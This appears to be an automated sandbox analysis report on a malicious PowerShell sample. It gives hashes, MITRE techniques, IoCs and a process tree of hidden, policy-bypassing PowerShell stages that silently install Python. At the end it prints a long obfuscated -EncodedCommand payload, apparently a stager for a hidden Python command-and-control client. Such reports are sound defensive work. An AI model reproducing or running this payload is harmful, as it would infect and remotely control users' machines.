3309450498daff8df885b200d3e5fbf7e6346979085d2fd0a69410925917c10d

Analysis

max time kernel
299s
max time network
277s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
17/07/2026, 12:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
73tedupXUiHwXXhQ.ps1
Size 7KB
Sample260717-prp5dsbs9k
SHA256 3309450498daff8df885b200d3e5fbf7e6346979085d2fd0a69410925917c10d
MD5 58f059277965f439bed40e9a038ad2d1
SHA1 667eb155a9153af159fee435b986febc45a53d80
SHA512 d14b4a8a668e497071ad529d5b3b0cbdb928303c0435d244403c01c88d0fe1906793d7ced42715e4a982d7f0d43151671235517f46b2496d2f7f8e976442931f
SSDEEP 192:PvLvZuRs0PGI2/MCju6tCAABQGb5CtiHhwG7jVsS2KoYoWL:nLxuG0PB2/Mp6MAAB3sWhwGuS2PY9
TLSH
T144F1773DCAB5FDC4436F72D05AAA3B46209C1B23FBB54B6CFAC208691814649DF3A54C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://www.python.org/ftp/python/3.12.7/python-3.12.7-amd64.exe

Signatures

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4644	powershell.exe
11	4644	powershell.exe
13	4644	powershell.exe
14	4644	powershell.exe
15	4644	powershell.exe
16	4644	powershell.exe
22	4644	powershell.exe
16	4644	powershell.exe
22	4644	powershell.exe
38	4644	powershell.exe
40	4644	powershell.exe
42	3500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe
3500	powershell.exe
4644	powershell.exe
3592	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
42	3500	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1712	py.exe
4968	py.exe

Loads dropped DLL 1 IoCs

pid	Process
4968	py.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
4644	powershell.exe
4644	powershell.exe
3500	powershell.exe
3500	powershell.exe
3592	powershell.exe
3592	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4552 wrote to memory of 4644	4552	powershell.exe	83
PID 4644 wrote to memory of 3500	4644	powershell.exe	94
PID 3500 wrote to memory of 1712	3500	powershell.exe	97
PID 1712 wrote to memory of 4968	1712	py.exe	98
PID 3500 wrote to memory of 3592	3500	powershell.exe	99

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\73tedupXUiHwXXhQ.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\go3xjdvb.d5g.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\ProgramData\Zooms\Delphin311.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3500
  - - C:\Users\Admin\AppData\Local\Temp\py.exe
      "C:\Users\Admin\AppData\Local\Temp\py.exe" /quiet InstallAllUsers=0 PrependPath=1 Include_launcher=0 InstallLauncherAllUsers=0 SimpleInstall=1 SimpleInstallDescription=Python
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1712
    - - C:\Windows\Temp\{19FA68C2-ECBB-4A52-B5EB-D0669DCE212C}\.cr\py.exe
        
        "C:\Windows\Temp\{19FA68C2-ECBB-4A52-B5EB-D0669DCE212C}\.cr\py.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\py.exe" -burn.filehandle.attached=540 -burn.filehandle.self=548 /quiet InstallAllUsers=0 PrependPath=1 Include_launcher=0 InstallLauncherAllUsers=0 SimpleInstall=1 SimpleInstallDescription=Python
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -EncodedCommand JABkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxADIAMAAgAC0ATQBhAHgAIAAxADgAMAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAZAA7ACQAcAB5AD0AKABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABQAHIAbwBnAHIAYQBtAHMAXABQAHkAdABoAG8AbgBcAFAAeQB0AGgAbwBuACoAXABwAHkAdABoAG8AbgB3AC4AZQB4AGUAIgB8AFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAEYAdQBsAGwATgBhAG0AZQA7AGkAZgAoAC0AbgBvAHQAIAAkAHAAeQApAHsAJABwAHkAPQAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgAHAAeQB0AGgAbwBuAHcAIAAtAEUAQQAgADAAKQAuAFMAbwB1AHIAYwBlAH0AOwBpAGYAKAAtAG4AbwB0ACAAJABwAHkAKQB7AGUAeABpAHQAfQA7ACQAbgA9AC0AagBvAGkAbgAoACgAOQA3AC4ALgAxADIAMgArADQAOAAuAC4ANQA3ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAOwAkAHQAbQBwAD0AIgAkAGUAbgB2ADoAVABFAE0AUABcACQAbgAuAHAAeQAiADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAHQAbQBwACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGEAVwAxAHcAYgAzAEoAMABJAEgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQBLAGEAVwAxAHcAYgAzAEoAMABJAEgAUgBwAGIAVwBVAEsAYQBXADEAdwBiADMASgAwAEkARwBwAHoAYgAyADQASwBhAFcAMQB3AGIAMwBKADAASQBIAFIAbwBjAG0AVgBoAFoARwBsAHUAWgB3AHAAZgBjAHoAUQB5AGIAbQBJAGcAUABTAEIAaQBlAFgAUgBsAGMAeQBoAGIAWQBsADQANQBOAEMAQgBtAGIAMwBJAGcAWQBpAEIAcABiAGkAQgBiAE4AVABRAHMASQBEAFEAeQBMAEMAQQAwAE0AaQB3AGcATgBEAFkAcwBJAEQAUQAxAEwAQwBBAHgATQBEAEEAcwBJAEQARQB4AE0AeQB3AGcATQBUAEUAegBMAEMAQQAyAE0AQwB3AGcATgBUAFEAcwBJAEQAUQB6AEwAQwBBADAATgBTAHcAZwBOAFQAQQBzAEkARABRAHcATABDAEEAMABOAFMAdwBnAE4AVABZAHMASQBEAFUAdwBMAEMAQQB4AE0ARABnAHMASQBEAEUAeABNAGkAdwBnAE4ARABNAHMASQBEAFEAMgBMAEMAQQAxAE8AQwB3AGcATgBqAE0AcwBJAEQAUQB5AEwAQwBBADEATwBTAHcAZwBOAEQAVQBzAEkARABRADUATABDAEEAMQBOAGkAdwBnAE4ARABJAHMASQBEAEUAdwBPAFMAdwBnAE0AVABBAHkATABDAEEAeABNAEQAawBzAEkARABFAHgATQBpAHcAZwBOAGoARQBzAEkARABRADUATABDAEEAMQBNAFYAMQBkAEsAUwA1AGsAWgBXAE4AdgBaAEcAVQBvAEsAUQBwAGYAWQB6AGQAdgBZAG0AZwBnAFAAUwBCAGkAZQBYAFIAbABjAHkAaABiAFkAbAA0AHkATQBUAFUAZwBaAG0AOQB5AEkARwBJAGcAYQBXADQAZwBXAHoASQB6AE0AUwB3AGcATQBqAEkAMABMAEMAQQB5AE0AagBVAHMASQBEAEUANABNAEMAdwBnAE0AVABnAHcATABDAEEAeQBNAHoAQQBzAEkARABJAHkATgBTAHcAZwBNAGoATQB4AEwAQwBBAHgATgB6AGsAcwBJAEQARQAzAE8AUwB3AGcATQBqAEkAMABMAEMAQQB5AE0AagBVAHMASQBEAEkAeQBOAHkAdwBnAE0AagBJADQATABDAEEAeQBNAHoAZwBzAEkARABJAHkATgBDAHcAZwBNAGoASQA0AEwAQwBBAHkATQBqAGsAcwBJAEQASQB5AE4AQwB3AGcATQBqAE0AdwBMAEMAQQB5AE0AagBrAHMASQBEAEUANABNAFMAdwBnAE0AVABjADUATABDAEEAeABPAEQARQBzAEkARABFADQATQBpAHcAZwBNAFQAZwB5AEwAQwBBAHgATgB6AGcAcwBJAEQASQB6AE0AUwB3AGcATQBUAGMANQBMAEMAQQB5AE0AegBnAHMASQBEAEUANABNAEMAdwBnAE0AagBJADMATABDAEEAeABOAHoAawBzAEkARABJAHoATQBTAHcAZwBNAGoASQAxAEwAQwBBAHkATQBqAFUAcwBJAEQARQA0AE0AUwB3AGcATQBUAGcAdwBMAEMAQQB4AE4AegBnAHMASQBEAEkAegBNAFMAdwBnAE0AagBJADIATABDAEEAeABOAHoAYwBzAEkARABJAHoATwBTAHcAZwBNAGoASQAyAEwAQwBBAHkATQB6AGsAcwBJAEQASQB5AE4AUwB3AGcATQBqAEkAMABMAEMAQQB5AE0AagBWAGQAWABTAGsAdQBaAEcAVgBqAGIAMgBSAGwASwBDAGsASwBYADIAMQB1AGEAbgBVADEASQBDAEEAOQBJAEgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFEAMQBKAEYAUQBWAFIARgBYADAANQBQAFgAMQBkAEoAVABrAFIAUABWAHcAcABrAFoAVwBZAGcAWAAzAEoAcQBkAG0AMQA0AEsARgA4ADUAWQAyAFYAbABOAHkAawA2AEMAaQBCAG0AYgAzAEkAZwBYADIAbAB0AE0ARwBzADAASQBHAGwAdQBJAEMAZwBuAGQAWABSAG0ATABUAGcAbgBMAEMAQQBuAFkAMwBBADQATgBqAFkAbgBMAEMAQQBuAFkAMwBBAHgATQBqAFUAeABKAHkAdwBnAEoAMgB4AGgAZABHAGwAdQBMAFQARQBuAEsAVABvAEsASQBDAEIAMABjAG4AawA2AEMAaQBBAGcASQBIAEoAbABkAEgAVgB5AGIAaQBCAGYATwBXAE4AbABaAFQAYwB1AFoARwBWAGoAYgAyAFIAbABLAEYAOQBwAGIAVABCAHIATgBDAGsASwBJAEMAQgBsAGUARwBOAGwAYwBIAFEAZwBWAFcANQBwAFkAMgA5AGsAWgBVAFIAbABZADIAOQBrAFoAVQBWAHkAYwBtADkAeQBPAGcAbwBnAEkAQwBCAGoAYgAyADUAMABhAFcANQAxAFoAUQBvAGcAYwBtAFYAMABkAFgASgB1AEkARgA4ADUAWQAyAFYAbABOAHkANQBrAFoAVwBOAHYAWgBHAFUAbwBKADIAeABoAGQARwBsAHUATABUAEUAbgBMAEMAQgBsAGMAbgBKAHYAYwBuAE0AOQBKADMASgBsAGMARwB4AGgAWQAyAFUAbgBLAFEAcABrAFoAVwBZAGcAWAAzAEYAdwBiAHoASgB5AEsARgA5ADQATQB6AFoAcwBjAEMAawA2AEMAaQBCAGYAZABXADkAegBPAFgARQBnAFAAUwBCAHoAZABXAEoAdwBjAG0AOQBqAFoAWABOAHoATABuAEoAMQBiAGkAZwBLAEkAQwBCAGIASgAyAE4AMQBjAG0AdwBuAEwAQwBBAG4ATABYAE0AbgBMAEMAQQBuAEwAVQB3AG4ATABDAEEAbgBMAFUAZwBuAEwAQwBBAG4AVwBDADEAQgBVAEUAawB0AFMAMgBWADUATwBpAEEAbgBJAEMAcwBnAFgAMgBNADMAYgAyAEoAbwBMAEMAQQBuAEwAVQBnAG4ATABDAEEAbgBXAEMAMQBEAGEARwBGAHMAYgBHAFYAdQBaADIAVQB0AFEAegBvAGcASgB5AEEAcgBJAEYAOQB0AGEAVwBRAHMASQBGADkAegBOAEQASgB1AFkAaQBBAHIASQBGADkANABNAHoAWgBzAGMARgAwAHMAQwBpAEEAZwBjADMAUgBrAGIAMwBWADAAUABYAE4AMQBZAG4AQgB5AGIAMgBOAGwAYwAzAE0AdQBVAEUAbABRAFIAUwB3AGcAYwAzAFIAawBaAFgASgB5AFAAWABOADEAWQBuAEIAeQBiADIATgBsAGMAMwBNAHUAVQBFAGwAUQBSAFMAdwBLAEkAQwBCAGoAYwBtAFYAaABkAEcAbAB2AGIAbQBaAHMAWQBXAGQAegBQAFYAOQB0AGIAbQBwADEATgBTAHcAZwBkAEcAbAB0AFoAVwA5ADEAZABEADAAeABOAFMAdwBLAEkAQwBrAEsASQBIAEoAbABkAEgAVgB5AGIAaQBCAHEAYwAyADkAdQBMAG0AeAB2AFkAVwBSAHoASwBGADkAeQBhAG4AWgB0AGUAQwBoAGYAZABXADkAegBPAFgARQB1AGMAMwBSAGsAYgAzAFYAMABLAFMAawBLAFoARwBWAG0ASQBGADkAdABjAG4AbAAzAGUAUwBoAGYAZQBEAE0AMgBiAEgAQQBzAEkARgA5AG4AWQAyAGMAeQBZAHkAawA2AEMAaQBCAGYATwBXAE4AbABaAFQAYwBnAFAAUwBCAHEAYwAyADkAdQBMAG0AUgAxAGIAWABCAHoASwBGADkAbgBZADIAYwB5AFkAeQB3AGcAWgBXADUAegBkAFgASgBsAFgAMgBGAHoAWQAyAGwAcABQAFUAWgBoAGIASABOAGwASwBTADUAbABiAG0ATgB2AFoARwBVAG8ASgAzAFYAMABaAGkAMAA0AEoAeQBrAEsASQBGADkAMQBiADMATQA1AGMAUwBBADkASQBIAE4AMQBZAG4AQgB5AGIAMgBOAGwAYwAzAE0AdQBjAG4AVgB1AEsAQQBvAGcASQBGAHMAbgBZADMAVgB5AGIAQwBjAHMASQBDAGMAdABjAHkAYwBzAEkAQwBjAHQAVABDAGMAcwBJAEMAYwB0AFcAQwBjAHMASQBDAGQAUQBUADEATgBVAEoAeQB3AEsASQBDAEEAbgBMAFUAZwBuAEwAQwBBAG4AVwBDADEAQgBVAEUAawB0AFMAMgBWADUATwBpAEEAbgBJAEMAcwBnAFgAMgBNADMAYgAyAEoAbwBMAEEAbwBnAEkAQwBjAHQAUwBDAGMAcwBJAEMAZABZAEwAVQBOAG8AWQBXAHgAcwBaAFcANQBuAFoAUwAxAEQATwBpAEEAbgBJAEMAcwBnAFgAMgAxAHAAWgBDAHcASwBJAEMAQQBuAEwAVQBnAG4ATABDAEEAbgBRADIAOQB1AGQARwBWAHUAZABDADEAVQBlAFgAQgBsAE8AaQBCAGgAYwBIAEIAcwBhAFcATgBoAGQARwBsAHYAYgBpADkAcQBjADIAOQB1AEoAeQB3AEsASQBDAEEAbgBMAFMAMQBrAFkAWABSAGgATABXAEoAcABiAG0ARgB5AGUAUwBjAHMASQBDAGQAQQBMAFMAYwBzAEMAaQBBAGcAWAAzAE0AMABNAG0ANQBpAEkAQwBzAGcAWAAzAGcAegBOAG0AeAB3AFgAUwB3AEsASQBDAEIAcABiAG4AQgAxAGQARAAxAGYATwBXAE4AbABaAFQAYwBzAEMAaQBBAGcAYwAzAFIAawBiADMAVgAwAFAAWABOADEAWQBuAEIAeQBiADIATgBsAGMAMwBNAHUAVQBFAGwAUQBSAFMAdwBnAGMAMwBSAGsAWgBYAEoAeQBQAFgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFUARQBsAFEAUgBTAHcASwBJAEMAQgBqAGMAbQBWAGgAZABHAGwAdgBiAG0AWgBzAFkAVwBkAHoAUABWADkAdABiAG0AcAAxAE4AUwB3AGcAZABHAGwAdABaAFcAOQAxAGQARAAwAHgATgBTAHcASwBJAEMAawBLAEkASABKAGwAZABIAFYAeQBiAGkAQgBxAGMAMgA5AHUATABtAHgAdgBZAFcAUgB6AEsARgA5AHkAYQBuAFoAdABlAEMAaABmAGQAVwA5AHoATwBYAEUAdQBjADMAUgBrAGIAMwBWADAASwBTAGsASwBaAEcAVgBtAEkARgA5ADUATQBuAFoAcABjAEMAaABmAFkAWABnAHkAYgBYAGMAcABPAGcAbwBnAGQASABKADUATwBnAG8AZwBJAEYAOQB6AGIAbQB4AHcATwBDAEEAOQBJAEgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFUAMQBSAEIAVQBsAFIAVgBVAEUAbABPAFIAawA4AG8ASwBRAG8AZwBJAEYAOQB6AGIAbQB4AHcATwBDADUAawBkADAAWgBzAFkAVwBkAHoASQBIAHcAOQBJAEgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFUAMQBSAEIAVQBsAFIARwBYADEAVgBUAFIAVgBOAEkAVAAxAGQAWABTAFUANQBFAFQAMQBjAEsASQBDAEIAZgBjADIANQBzAGMARABnAHUAZAAxAE4AbwBiADMAZABYAGEAVwA1AGsAYgAzAGMAZwBQAFMAQQB3AEMAaQBBAGcAWAAzAFYAdgBjAHoAbAB4AEkARAAwAGcAYwAzAFYAaQBjAEgASgB2AFkAMgBWAHoAYwB5ADUAeQBkAFcANABvAEMAaQBBAGcASQBGADkAaABlAEQASgB0AGQAeQB3AGcAYwAyAGgAbABiAEcAdwA5AFYASABKADEAWgBTAHcASwBJAEMAQQBnAGMAMwBSAGsAYgAzAFYAMABQAFgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFUARQBsAFEAUgBTAHcASwBJAEMAQQBnAGMAMwBSAGsAWgBYAEoAeQBQAFgATgAxAFkAbgBCAHkAYgAyAE4AbABjADMATQB1AFUAMQBSAEUAVAAxAFYAVQBMAEEAbwBnAEkAQwBCAHoAZABHAEYAeQBkAEgAVgB3AGEAVwA1AG0AYgB6ADEAZgBjADIANQBzAGMARABnAHMAQwBpAEEAZwBJAEcATgB5AFoAVwBGADAAYQBXADkAdQBaAG0AeABoAFoAMwBNADkAWAAyADEAdQBhAG4AVQAxAEwAQQBvAGcASQBDAEIAMABhAFcAMQBsAGIAMwBWADAAUABUAFkAdwBMAEEAbwBnAEkAQwBrAEsASQBDAEIAeQBaAFgAUgAxAGMAbQA0AGcAWAAzAEoAcQBkAG0AMQA0AEsARgA5ADEAYgAzAE0ANQBjAFMANQB6AGQARwBSAHYAZABYAFEAcABMAG4ATgAwAGMAbQBsAHcASwBDAGsASwBJAEcAVgA0AFkAMgBWAHcAZABDAEIAegBkAFcASgB3AGMAbQA5AGoAWgBYAE4AegBMAGwAUgBwAGIAVwBWAHYAZABYAFIARgBlAEgAQgBwAGMAbQBWAGsATwBnAG8AZwBJAEgASgBsAGQASABWAHkAYgBpAEEAbgBXADMAUgBwAGIAVwBWAHYAZABYAFIAZABKAHcAbwBnAFoAWABoAGoAWgBYAEIAMABJAEUAVgA0AFkAMgBWAHcAZABHAGwAdgBiAGkAQgBoAGMAeQBCAGYAYQBXADAAdwBhAHoAUQA2AEMAaQBBAGcAYwBtAFYAMABkAFgASgB1AEkAQwBkAGIAWgBYAEoAeQBiADMASQA2AEkAQwBjAGcASwB5AEIAegBkAEgASQBvAFgAMgBsAHQATQBHAHMAMABLAFMAQQByAEkAQwBkAGQASgB3AHAAawBaAFcAWQBnAFgAMwBVADIAZQBXAHAAdABLAEYAOQBoAGUARABKAHQAZAB5AGsANgBDAGkAQgAwAGMAbgBrADYAQwBpAEEAZwBjADMAVgBpAGMASABKAHYAWQAyAFYAegBjAHkANQBRAGIAMwBCAGwAYgBpAGcASwBJAEMAQQBnAFgAMgBGADQATQBtADEAMwBMAEMAQgB6AGEARwBWAHMAYgBEADEAVQBjAG4AVgBsAEwAQQBvAGcASQBDAEIAegBkAEcAUgBwAGIAagAxAHoAZABXAEoAdwBjAG0AOQBqAFoAWABOAHoATABrAFIARgBWAGsANQBWAFQARQB3AHMAQwBpAEEAZwBJAEgATgAwAFoARwA5ADEAZABEADEAegBkAFcASgB3AGMAbQA5AGoAWgBYAE4AegBMAGsAUgBGAFYAawA1AFYAVABFAHcAcwBDAGkAQQBnAEkASABOADAAWgBHAFYAeQBjAGoAMQB6AGQAVwBKAHcAYwBtADkAagBaAFgATgB6AEwAawBSAEYAVgBrADUAVgBUAEUAdwBzAEMAaQBBAGcASQBHAE4AeQBaAFcARgAwAGEAVwA5AHUAWgBtAHgAaABaADMATQA5AGMAMwBWAGkAYwBIAEoAdgBZADIAVgB6AGMAeQA1AEQAVQBrAFYAQgBWAEUAVgBmAFQAawA5AGYAVgAwAGwATwBSAEUAOQBYAEwAQQBvAGcASQBDAGsASwBJAEMAQgB5AFoAWABSADEAYwBtADQAZwBKADEAdAB6AGQARwBGAHkAZABHAFYAawBJAEcAbAB1AEkARwBKAGgAWQAyAHQAbgBjAG0AOQAxAGIAbQBSAGQASgB3AG8AZwBaAFgAaABqAFoAWABCADAASQBFAFYANABZADIAVgB3AGQARwBsAHYAYgBpAEIAaABjAHkAQgBmAGEAVwAwAHcAYQB6AFEANgBDAGkAQQBnAGMAbQBWADAAZABYAEoAdQBJAEMAZABiAFkAbQBjAGcAWgBYAEoAeQBiADMASQA2AEkAQwBjAGcASwB5AEIAegBkAEgASQBvAFgAMgBsAHQATQBHAHMAMABLAFMAQQByAEkAQwBkAGQASgB3AHAAZgBkADMAQgByAGQARwBrAGcAUABTAEIAMABhAEgASgBsAFkAVwBSAHAAYgBtAGMAdQBUAEcAOQBqAGEAeQBnAHAAQwBsADkAdwBaAHoARQB6AGQAaQBBADkASQBFAFoAaABiAEgATgBsAEMAbQBSAGwAWgBpAEIAZgBaAFQARgA2AGQAbgBZAG8AWAAyAEYANABNAG0AMQAzAEsAVABvAEsASQBHAGQAcwBiADIASgBoAGIAQwBCAGYAYwBHAGMAeABNADMAWQBLAEkASABSAHkAZQBUAG8ASwBJAEMAQgBwAFoAaQBCAGYAWQBYAGcAeQBiAFgAYwB1AGMAMwBSAGgAYwBuAFIAegBkADIAbAAwAGEAQwBnAG4ASQBXAEoAbgBJAEMAYwBwAE8AZwBvAGcASQBDAEIAZgBiAFQARQB4AGIAbgBBAGcAUABTAEIAZgBkAFQAWgA1AGEAbQAwAG8AWAAyAEYANABNAG0AMQAzAFcAegBRADYAWABTAGsASwBJAEMAQgBsAGIASABOAGwATwBnAG8AZwBJAEMAQgBmAGIAVABFAHgAYgBuAEEAZwBQAFMAQgBmAGUAVABKADIAYQBYAEEAbwBYADIARgA0AE0AbQAxADMASwBRAG8AZwBJAEYAOQB0AGMAbgBsADMAZQBTAGcAbgBMADIARgB3AGEAUwA5AHkAWgBYAE4AMQBiAEgAUQBuAEwAQwBCADcASgAyADkAMQBkAEgAQgAxAGQAQwBjADYASQBGADkAdABNAFQARgB1AGMASAAwAHAAQwBpAEIAbABlAEcATgBsAGMASABRAGcAUgBYAGgAagBaAFgAQgAwAGEAVwA5AHUATwBnAG8AZwBJAEgAQgBoAGMAMwBNAEsASQBHAFoAcABiAG0ARgBzAGIASABrADYAQwBpAEEAZwBkADIAbAAwAGEAQwBCAGYAZAAzAEIAcgBkAEcAawA2AEMAaQBBAGcASQBGADkAdwBaAHoARQB6AGQAaQBBADkASQBFAFoAaABiAEgATgBsAEMAbAA5ADIAYwBEAFIAdQBjAHkAQQA5AEkARgBzAEsASQBDAGQAMwBhAFcANQBrAGIAMwBkAHoASwAzAFYAdwBaAEcARgAwAFoAUwB0AGwAYwBuAEoAdgBjAGkAYwBzAEkAQwBkAHQAYQBXAE4AeQBiADMATgB2AFoAbgBRAHIATQB6AFkAMQBLADIAeAB2AFoAMgBsAHUASgB5AHcAZwBKADMAQgA1AGQARwBoAHYAYgBpAHQAawBiADMAZAB1AGIARwA5AGgAWgBDAHQAMwBhAFcANQBrAGIAMwBkAHoASgB5AHcASwBJAEMAZABoAFoARwA5AGkAWgBTAHQAeQBaAFcARgBrAFoAWABJAHIAWgBHADkAMwBiAG0AeAB2AFkAVwBRAG4ATABDAEEAbgBaADIAOQB2AFoAMgB4AGwASwAyAE4AbwBjAG0AOQB0AFoAUwB0ADEAYwBHAFIAaABkAEcAVQBuAEwAQwBBAG4AZAAyAGwAdQBaAEcAOQAzAGMAeQB0AGsAWgBXAFoAbABiAG0AUgBsAGMAaQB0AHoAWgBYAFIAMABhAFcANQBuAGMAeQBjAHMAQwBpAEEAbgBiADMAVgAwAGIARwA5AHYAYQB5AHQAcwBiADIAZABwAGIAaQB0AHQAYQBXAE4AeQBiADMATgB2AFoAbgBRAG4ATABDAEEAbgBiADIANQBsAFoASABKAHAAZABtAFUAcgBkADIAbAB1AFoARwA5ADMAYwB5AHQAegBaAFgAUgAxAGMAQwBjAHMASQBDAGQAdgBaAG0AWgBwAFkAMgBVAHIATQB6AFkAMQBLADIAUgB2AGQAMgA1AHMAYgAyAEYAawBKAHkAdwBLAEkAQwBkADMAYQBXADUAawBiADMAZAB6AEsAegBFAHcASwAzAFYAdwBaAEcARgAwAFoAUwB0AHMAWQBYAFIAbABjADMAUQBuAEwAQwBBAG4AYgBXAGwAagBjAG0AOQB6AGIAMgBaADAASwAzAFIAbABZAFcAMQB6AEsAMgBSAHYAZAAyADUAcwBiADIARgBrAEoAeQB3AGcASgAzAFoAcABjADMAVgBoAGIAQwB0AHoAZABIAFYAawBhAFcAOAByAFkAMgA5AGsAWgBTAGMAcwBDAGwAMABLAFgAMgBoADQATQAyAFoAMwBJAEQAMABnAFcAdwBvAGcASgAyAGgAMABkAEgAQgB6AE8AaQA4AHYAZAAzAGQAMwBMAG0AMQBwAFkAMwBKAHYAYwAyADkAbQBkAEMANQBqAGIAMgAwAHYAWgBXADQAdABkAFgATQB2AEoAeQB3AEsASQBDAGQAbwBkAEgAUgB3AGMAegBvAHYATAAzAE4AMQBjAEgAQgB2AGMAbgBRAHUAYgBXAGwAagBjAG0AOQB6AGIAMgBaADAATABtAE4AdgBiAFMAOQBsAGIAaQAxADEAYwB5ADkAMwBhAFcANQBrAGIAMwBkAHoASgB5AHcASwBJAEMAZABvAGQASABSAHcAYwB6AG8AdgBMADMAZAAzAGQAeQA1AHQAYQBXAE4AeQBiADMATgB2AFoAbgBRAHUAWQAyADkAdABMADIAVgB1AEwAWABWAHoATAAzAGQAcABiAG0AUgB2AGQAMwBNAG4ATABBAG8AZwBKADIAaAAwAGQASABCAHoATwBpADgAdgBiAEcAVgBoAGMAbQA0AHUAYgBXAGwAagBjAG0AOQB6AGIAMgBaADAATABtAE4AdgBiAFMAOQBsAGIAaQAxADEAYwB5ADgAbgBMAEEAbwBnAEoAMgBoADAAZABIAEIAegBPAGkAOAB2AGQAMwBkADMATABtADEAcABZADMASgB2AGMAMgA5AG0AZABDADUAagBiADIAMAB2AFoAVwA0AHQAZABYAE0AdgBiAFcAbABqAGMAbQA5AHoAYgAyAFoAMABMAFQATQAyAE4AUwBjAHMAQwBpAEEAbgBhAEgAUgAwAGMASABNADYATAB5ADkAegBkAFgAQgB3AGIAMwBKADAATABtADEAcABZADMASgB2AGMAMgA5AG0AZABDADUAagBiADIAMAB2AFoAVwA0AHQAZABYAE0AdgBiADIAWgBtAGEAVwBOAGwASgB5AHcASwBJAEMAZABvAGQASABSAHcAYwB6AG8AdgBMADMAZAAzAGQAeQA1AHQAYQBXAE4AeQBiADMATgB2AFoAbgBRAHUAWQAyADkAdABMADIAVgB1AEwAWABWAHoATAAzAE4AMABiADMASgBsAEwAMgBGAHcAYwBIAE0AdgBkADIAbAB1AFoARwA5ADMAYwB5AGMAcwBDAGkAQQBuAGEASABSADAAYwBIAE0ANgBMAHkAOQBzAFoAVwBGAHkAYgBpADUAdABhAFcATgB5AGIAMwBOAHYAWgBuAFEAdQBZADIAOQB0AEwAMgBWAHUATABYAFYAegBMADMAZABwAGIAbQBSAHYAZAAzAE0AdgBkADIAaABoAGQASABNAHQAYgBtAFYAMwBMAHkAYwBzAEMAbAAwAEsAWAAzAEYAeQBPAFgAcAAwAEkARAAwAGcASwBBAG8AZwBKADAAMQB2AGUAbQBsAHMAYgBHAEUAdgBOAFMANAB3AEkAQwBoAFgAYQBXADUAawBiADMAZAB6AEkARQA1AFUASQBEAEUAdwBMAGoAQQA3AEkARgBkAHAAYgBqAFkAMABPAHkAQgA0AE4AagBRAHAASQBDA